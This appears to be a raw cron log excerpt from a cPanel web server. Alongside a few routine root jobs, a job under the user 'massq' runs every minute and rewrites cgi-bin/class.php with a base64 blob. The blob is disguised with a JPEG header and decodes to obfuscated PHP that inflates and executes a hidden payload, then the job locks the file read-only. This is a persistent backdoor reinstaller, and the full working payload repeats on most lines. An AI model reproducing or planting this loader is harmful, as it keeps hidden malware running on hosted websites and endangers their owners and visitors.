Nov 12 04:43:01 server CROND[9029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:44:01 server CROND[9849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:45:01 server CROND[10769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:45:01 server CROND[10770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:45:01 server CROND[10771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:46:01 server CROND[11710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:47:01 server CROND[12169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:48:01 server CROND[12890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:49:01 server CROND[13707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:50:01 server CROND[14474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:50:01 server CROND[14476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 04:50:01 server CROND[14477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:50:01 server CROND[14479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:50:01 server CROND[14478]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 04:51:01 server CROND[15288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:52:01 server CROND[16114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:53:01 server CROND[16928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:54:01 server CROND[17392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:55:01 server CROND[18238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:55:01 server CROND[18239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:55:01 server CROND[18240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
